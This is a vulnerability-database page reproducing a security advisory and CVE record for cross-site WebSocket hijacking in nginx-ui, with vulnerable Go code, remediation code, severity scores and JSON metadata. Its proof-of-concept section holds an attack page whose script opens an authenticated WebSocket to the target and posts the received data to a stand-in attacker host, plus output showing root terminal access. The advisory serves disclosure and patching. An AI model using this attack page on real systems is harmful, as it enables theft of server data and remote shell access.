Vulnerability-Lookup

GHSA-78MF-482W-62QJ

Vulnerability from github – Published: 2026-04-21 15:13 – Updated: 2026-04-27 16:20

Summary

Nginx-UI: Cross-Site WebSocket Hijacking (CSWSH) via missing origin validation on all WebSocket endpoints

Details

Summary

All WebSocket endpoints in nginx-ui use a gorilla/websocket Upgrader with CheckOrigin unconditionally returning true, allowing Cross-Site WebSocket Hijacking (CSWSH). Combined with the fact that authentication tokens are stored in browser cookies (set via JavaScript without HttpOnly or explicit SameSite attributes), a malicious webpage can establish authenticated WebSocket connections to the nginx-ui instance when a logged-in administrator visits the attacker-controlled page.

Details

Vulnerable Code Pattern

Every WebSocket endpoint in the codebase uses the same unsafe upgrader configuration:

// Found in: api/terminal/pty.go, api/analytic/analytic.go, api/event/websocket.go,
// api/nginx_log/websocket.go, api/upstream/upstream.go, api/cluster/websocket.go,
// api/nginx/websocket.go, api/certificate/revoke.go, api/sites/websocket.go,
// api/llm/llm.go, api/llm/code_completion.go, api/system/upgrade.go
var upgrader = websocket.Upgrader{
    CheckOrigin: func(r *http.Request) bool {
        return true // Accepts ALL origins
    },
}

Cookie-Based Authentication

The Vue.js frontend stores JWT tokens as cookies without security attributes (app/src/pinia/moudule/user.ts):

watch(token, v => {
    cookies.set('token', v, { maxAge: 86400 })  // No HttpOnly, no SameSite
})

The backend middleware accepts tokens from cookies (internal/middleware/middleware.go):

func getToken(c *gin.Context) (token string) {
    // ...
    if token, _ = c.Cookie("token"); token != "" {
        return token
    }
    return ""
}

Affected Endpoints

All WebSocket endpoints under the authenticated router group are vulnerable:

Endpoint	Impact
/api/nginx/detail_status/ws	Leak nginx performance metrics and configuration
/api/events	Leak system processing events
/api/analytic/intro	Leak CPU, memory, disk, network statistics
/api/nginx_log	Read nginx log files (access/error logs)
/api/pty	Interactive terminal access (RCE if OTP not enabled)
/api/upgrade/perform	Trigger system binary upgrade
/api/cluster/nodes/enabled	Leak and manipulate cluster node data

PoC

Environment Setup

services:
  nginx-ui:
    image: uozi/nginx-ui:latest
    ports:
      - "9000:80"
    volumes:
      - nginx-ui-config:/etc/nginx-ui
volumes:
  nginx-ui-config:

Attack Page (hosted on attacker-controlled domain)

<script>
// Attacker page at http://evil-attacker.com
// Victim must be logged into nginx-ui
const ws = new WebSocket('ws://TARGET_NGINX_UI:9000/api/nginx/detail_status/ws');
ws.onopen = () => console.log('CSWSH: Connected from malicious origin!');
ws.onmessage = (e) => {
    console.log('Stolen data:', e.data);
    fetch('https://evil-attacker.com/collect', {method:'POST', body: e.data});
};
</script>

Automated PoC Results

[+] VULNERABLE! WebSocket connected from http://evil-attacker.com
[+] Received: {"stub_status_enabled":false,"running":true,"info":{"active":0,...}}

[+] VULNERABLE! Event stream from http://evil-attacker.com
[+] Received: {"event":"processing_status","data":{"index_scanning":false,...}}

[+] VULNERABLE! Analytics from http://evil-attacker.com
[+] Received: {"avg_load":{"load1":0.1,"load5":0.2},"cpu_percent":0.08,...}

[+] CRITICAL: Terminal connected from http://evil-attacker.com!
[+] Terminal output: 'eae7a76e3ef4 login: '
[*] Sent username: root
[+] Output: 'Password: '

[+] Control test (no auth): Correctly rejected with HTTP 403

Impact

An attacker can create a malicious webpage that, when visited by an authenticated nginx-ui administrator, silently:

Steals sensitive server information -- nginx configuration, performance metrics, CPU/memory/disk usage, network traffic statistics, and system events
Reads nginx log files -- potentially containing sensitive request data, IP addresses, and authentication tokens
Gains interactive terminal access -- if the administrator has not enabled OTP/2FA, the attacker obtains a full PTY shell on the server, achieving Remote Code Execution
Triggers system operations -- including nginx reload/restart and binary upgrades

The attack requires no privileges and no knowledge of the victim's credentials. The only user interaction needed is visiting a webpage.

Remediation

Implement proper origin validation in all WebSocket upgraders:

var upgrader = websocket.Upgrader{
    CheckOrigin: func(r *http.Request) bool {
        origin := r.Header.Get("Origin")
        return isAllowedOrigin(origin)
    },
}

Set secure cookie attributes:

cookies.set('token', v, { maxAge: 86400, sameSite: 'strict', secure: true })

Add CSRF token validation to WebSocket upgrade requests as defense-in-depth.

A patch is available at https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.5

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

8.6 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/0xJacky/Nginx-UI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.10-0.20260316053337-1a9cd29a3082"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34403"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1385",
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-21T15:13:01Z",
    "nvd_published_at": "2026-04-20T21:16:36Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nAll WebSocket endpoints in nginx-ui use a gorilla/websocket Upgrader with CheckOrigin unconditionally returning true, allowing Cross-Site WebSocket Hijacking (CSWSH). Combined with the fact that authentication tokens are stored in browser cookies (set via JavaScript without HttpOnly or explicit SameSite attributes), a malicious webpage can establish authenticated WebSocket connections to the nginx-ui instance when a logged-in administrator visits the attacker-controlled page.\n\n## Details\n\n### Vulnerable Code Pattern\n\nEvery WebSocket endpoint in the codebase uses the same unsafe upgrader configuration:\n\n```go\n// Found in: api/terminal/pty.go, api/analytic/analytic.go, api/event/websocket.go,\n// api/nginx_log/websocket.go, api/upstream/upstream.go, api/cluster/websocket.go,\n// api/nginx/websocket.go, api/certificate/revoke.go, api/sites/websocket.go,\n// api/llm/llm.go, api/llm/code_completion.go, api/system/upgrade.go\nvar upgrader = websocket.Upgrader{\n    CheckOrigin: func(r *http.Request) bool {\n        return true // Accepts ALL origins\n    },\n}\n```\n\n### Cookie-Based Authentication\n\nThe Vue.js frontend stores JWT tokens as cookies without security attributes (app/src/pinia/moudule/user.ts):\n\n```typescript\nwatch(token, v =\u003e {\n    cookies.set(\u0027token\u0027, v, { maxAge: 86400 })  // No HttpOnly, no SameSite\n})\n```\n\nThe backend middleware accepts tokens from cookies (internal/middleware/middleware.go):\n\n```go\nfunc getToken(c *gin.Context) (token string) {\n    // ...\n    if token, _ = c.Cookie(\"token\"); token != \"\" {\n        return token\n    }\n    return \"\"\n}\n```\n\n### Affected Endpoints\n\nAll WebSocket endpoints under the authenticated router group are vulnerable:\n\n| Endpoint | Impact |\n|---|---|\n| /api/nginx/detail_status/ws | Leak nginx performance metrics and configuration |\n| /api/events | Leak system processing events |\n| /api/analytic/intro | Leak CPU, memory, disk, network statistics |\n| /api/nginx_log | Read nginx log files (access/error logs) |\n| /api/pty | Interactive terminal access (RCE if OTP not enabled) |\n| /api/upgrade/perform | Trigger system binary upgrade |\n| /api/cluster/nodes/enabled | Leak and manipulate cluster node data |\n\n## PoC\n\n### Environment Setup\n\n```yaml\nservices:\n  nginx-ui:\n    image: uozi/nginx-ui:latest\n    ports:\n      - \"9000:80\"\n    volumes:\n      - nginx-ui-config:/etc/nginx-ui\nvolumes:\n  nginx-ui-config:\n```\n\n### Attack Page (hosted on attacker-controlled domain)\n\n```html\n\u003cscript\u003e\n// Attacker page at http://evil-attacker.com\n// Victim must be logged into nginx-ui\nconst ws = new WebSocket(\u0027ws://TARGET_NGINX_UI:9000/api/nginx/detail_status/ws\u0027);\nws.onopen = () =\u003e console.log(\u0027CSWSH: Connected from malicious origin!\u0027);\nws.onmessage = (e) =\u003e {\n    console.log(\u0027Stolen data:\u0027, e.data);\n    fetch(\u0027https://evil-attacker.com/collect\u0027, {method:\u0027POST\u0027, body: e.data});\n};\n\u003c/script\u003e\n```\n\n### Automated PoC Results\n\n```\n[+] VULNERABLE! WebSocket connected from http://evil-attacker.com\n[+] Received: {\"stub_status_enabled\":false,\"running\":true,\"info\":{\"active\":0,...}}\n\n[+] VULNERABLE! Event stream from http://evil-attacker.com\n[+] Received: {\"event\":\"processing_status\",\"data\":{\"index_scanning\":false,...}}\n\n[+] VULNERABLE! Analytics from http://evil-attacker.com\n[+] Received: {\"avg_load\":{\"load1\":0.1,\"load5\":0.2},\"cpu_percent\":0.08,...}\n\n[+] CRITICAL: Terminal connected from http://evil-attacker.com!\n[+] Terminal output: \u0027eae7a76e3ef4 login: \u0027\n[*] Sent username: root\n[+] Output: \u0027Password: \u0027\n\n[+] Control test (no auth): Correctly rejected with HTTP 403\n```\n\n## Impact\n\nAn attacker can create a malicious webpage that, when visited by an authenticated nginx-ui administrator, silently:\n\n1. **Steals sensitive server information** -- nginx configuration, performance metrics, CPU/memory/disk usage, network traffic statistics, and system events\n2. **Reads nginx log files** -- potentially containing sensitive request data, IP addresses, and authentication tokens\n3. **Gains interactive terminal access** -- if the administrator has not enabled OTP/2FA, the attacker obtains a full PTY shell on the server, achieving Remote Code Execution\n4. **Triggers system operations** -- including nginx reload/restart and binary upgrades\n\nThe attack requires no privileges and no knowledge of the victim\u0027s credentials. The only user interaction needed is visiting a webpage.\n\n## Remediation\n\n1. Implement proper origin validation in all WebSocket upgraders:\n\n```go\nvar upgrader = websocket.Upgrader{\n    CheckOrigin: func(r *http.Request) bool {\n        origin := r.Header.Get(\"Origin\")\n        return isAllowedOrigin(origin)\n    },\n}\n```\n\n2. Set secure cookie attributes:\n```typescript\ncookies.set(\u0027token\u0027, v, { maxAge: 86400, sameSite: \u0027strict\u0027, secure: true })\n```\n\n3. Add CSRF token validation to WebSocket upgrade requests as defense-in-depth.\n\nA patch is available at https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.5",
  "id": "GHSA-78mf-482w-62qj",
  "modified": "2026-04-27T16:20:34Z",
  "published": "2026-04-21T15:13:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-78mf-482w-62qj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34403"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/0xJacky/nginx-ui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Nginx-UI: Cross-Site WebSocket Hijacking (CSWSH) via missing origin validation on all WebSocket endpoints"
}

CVE-2026-34403 (GCVE-0-2026-34403)

Vulnerability from cvelistv5 – Published: 2026-04-20 20:16 – Updated: 2026-04-21 13:36

Title

Nginx-UI vulnerable to Cross-Site WebSocket Hijacking (CSWSH) via missing origin validation on all WebSocket endpoints

Summary

Nginx UI is a web user interface for the Nginx web server. Prior to version 2.3.5, all WebSocket endpoints in nginx-ui use a gorilla/websocket Upgrader with CheckOrigin unconditionally returning true, allowing Cross-Site WebSocket Hijacking (CSWSH). Combined with the fact that authentication tokens are stored in browser cookies (set via JavaScript without HttpOnly or explicit SameSite attributes), a malicious webpage can establish authenticated WebSocket connections to the nginx-ui instance when a logged-in administrator visits the attacker-controlled page. Version 2.3.5 patches the issue.

Severity

5.5 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-04-21 13:36 UTC

CWE

CWE-1385 - Missing Origin Validation in WebSockets

Assigner

GitHub_M mitre root

References

2 references

URL	Tags
https://github.com/0xJacky/nginx-ui/security/advi…	x_refsource_CONFIRM
https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.5	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
0xJacky	nginx-ui	Affected: < 2.3.5

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-34403",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-04-21T13:36:34.314909Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-04-21T13:36:46.510Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "nginx-ui",
          "vendor": "0xJacky",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.3.5"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Nginx UI is a web user interface for the Nginx web server. Prior to version 2.3.5, all WebSocket endpoints in nginx-ui use a gorilla/websocket Upgrader with CheckOrigin unconditionally returning true, allowing Cross-Site WebSocket Hijacking (CSWSH). Combined with the fact that authentication tokens are stored in browser cookies (set via JavaScript without HttpOnly or explicit SameSite attributes), a malicious webpage can establish authenticated WebSocket connections to the nginx-ui instance when a logged-in administrator visits the attacker-controlled page. Version 2.3.5 patches the issue."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "ACTIVE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-1385",
              "description": "CWE-1385: Missing Origin Validation in WebSockets",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-04-20T20:16:47.597Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-78mf-482w-62qj",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-78mf-482w-62qj"
        },
        {
          "name": "https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.5",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.5"
        }
      ],
      "source": {
        "advisory": "GHSA-78mf-482w-62qj",
        "discovery": "UNKNOWN"
      },
      "title": "Nginx-UI vulnerable to Cross-Site WebSocket Hijacking (CSWSH) via missing origin validation on all WebSocket endpoints"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-34403",
    "datePublished": "2026-04-20T20:16:47.597Z",
    "dateReserved": "2026-03-27T13:45:29.620Z",
    "dateUpdated": "2026-04-21T13:36:46.510Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-78MF-482W-62QJ

Summary

Details

Vulnerable Code Pattern

Cookie-Based Authentication

Affected Endpoints

PoC

Environment Setup

Attack Page (hosted on attacker-controlled domain)

Automated PoC Results

Impact

Remediation

CVE-2026-34403 (GCVE-0-2026-34403)

Tags

Sightings

Nomenclature

Related by attack behaviour